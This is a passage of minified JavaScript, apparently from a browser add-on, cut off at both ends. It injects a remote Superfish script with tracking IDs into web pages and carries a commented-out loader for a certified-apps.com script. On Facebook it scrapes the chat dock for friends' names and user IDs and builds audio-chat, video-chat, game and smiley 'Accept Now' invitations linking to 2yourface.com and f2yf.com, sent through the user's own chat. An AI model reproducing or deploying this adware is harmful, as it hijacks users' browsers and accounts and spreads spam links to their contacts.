a.setAttribute("type","text/javascript"),a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103"),(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a))}; /* AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement('script');script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch103"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }} */ //3.4 no chacheID in games var gpid="103",url=window.location.href,timeOut=3E3,gPhoneCallInviteMsgPrefix=" invite You to an Audio Chat. Accept Now : ",gVideoCallInviteMsgPrefix=" invite You to a Video Chat. Accept Now : ",gGameInviteMsgPrefix=" invite You to play ",date=new Date,cacheID=date.getDate()+"-"+(date.getMonth()+1)+"-"+date.getFullYear()+"-"+date.getHours(),gPhoneCallInviteMsg=gPhoneCallInviteMsgPrefix+" http://www.2yourface.com/"+gpid+"/"+cacheID,gVideoCallInviteMsg=gVideoCallInviteMsgPrefix+" http://www.2yourface.com/"+ gpid+"/"+cacheID,gGameLink="http://www.f2yf.com/",gGameLinkSuffix="/"+gpid+"/",gSmileyMsgPrefix="I sent you a smiley. Accept Now: ",gSmileyMSG=":-D",gMyName="";window.setTimeout("OnTimeout()",2500);var m_lastTimeout=new Date;document.body.onmouseup=onUp;function onUp(){if(!0==isValidWebsite()){var a=(new Date).getTime()-m_lastTimeout.getTime(),a=new Date(a);(0<a.getMinutes()||0==a.getMinutes()&&2<a.getSeconds())&&OnTimeout()}} function getElementsByClassName(a){for(var b=[],a=RegExp("\\b"+a+"\\b"),d=document.getElementsByTagName("*"),c=0;c<d.length;c++)a.test(d[c].className)&&b.push(d[c]);return b}Start(); function Start(){if(-1!=window.location.href.indexOf("facebook.com")){if(void 0===window.jQuery||"1.4.2"!==window.jQuery.fn.jquery){var a=document.createElement("script");a.setAttribute("type","text/javascript");-1!=window.location.href.indexOf("http:/")?a.setAttribute("src","http://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"):a.setAttribute("src","https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js");a.onload=scriptLoadHandler;a.onreadystatechange=function(){("complete"== this.readyState||"loaded"==this.readyState)&&scriptLoadHandler()};(document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a)}null==document.getElementById("ChatDialog")&&(a=document.createElement("div"),a.id="ChatDialog",a.setAttribute("style","display:none;position: absolute;top: 15%;left: 35%;width: width:484px;background:url('http://www.2yourface.com/Plugin/images/outer_bg.png');border-radius:8px;padding:9px;z-index:1002;overflow: auto;"),document.body.appendChild(a))}} function onscroll(){var a=document.body.scrollTop,b=window.jQuery("div#ChatDialog",document);b.position();b.offset({left:0.35*document.body.clientWidth,top:a+200})}function IsScriptInstalled(){return-1!=document.body.innerHTML.indexOf("ChatDialog")}function scriptLoadHandler(){jQuery=window.jQuery.noConflict(!0);OnTimeout()} function Process(){var a=-1,b=document;if(""==gMyName){var d=getElementsByClassName("headerTinymanName");0<d.length&&(gMyName=d[0].innerHTML)}d=window.jQuery("div#fbDockChat",b);b=window.jQuery("div.fbDockChatTab",d);0==b.length&&(b=window.jQuery(".fbNubFlyout.fbDockChatTabFlyout",d));if(null!=b)for(d=0;d<b.length;d++){var c=window.jQuery("div.fbNubFlyout",b[d])[0];null==c&&(c=window.jQuery(".fbNubFlyoutOuter",b[d])[0]);c.innerHTML.indexOf("textarea");var f=window.jQuery("div.fbNubFlyoutTitlebar", c),h=window.jQuery("span.titlebarText",f),a=GetUIDFromName(e);if(-1==a){var e=c.innerHTML,i="/messages/",g=e.indexOf(i);-1!=g?(g+=i.length,a=e.indexOf('"',g),a=e.substring(g,a)):(i="?id=",g=e.indexOf(i),-1!=g&&(g+=i.length,a=e.indexOf('"',g),a=e.substring(g,a)))}var e=GetFriendName(f.html());""==e&&(e=h.html());-1==a&&(a=GetUIDFromName(e));AddToolbar(c,e,a);ParseInvitations(c,e,a)}} function GetUIDFromName(a){var b=window.ChatUserInfos,d;for(d in b)if(b.hasOwnProperty(d)&&a==b[d].name)return d;return-1}function isValidWebsite(){return-1!=window.location.href.indexOf("facebook.com")}function OnTimeout(){m_lastTimeout=new Date;-1!=window.location.href.indexOf("facebook.com")&&(!1==IsScriptInstalled()&&Start(),setTimeout("OnTimeout()",2500),Process())} function GetFriendName(a){var b=a.indexOf(' ",b+22),b=b+1,d=a.indexOf("<",b);return a.substring(b,d)}function SendSmiley(a){sendMsg(gSmileyMSG,a)} function AddToolbar(a,b,d){a=window.jQuery("div.fbNubFlyoutBody",a);b='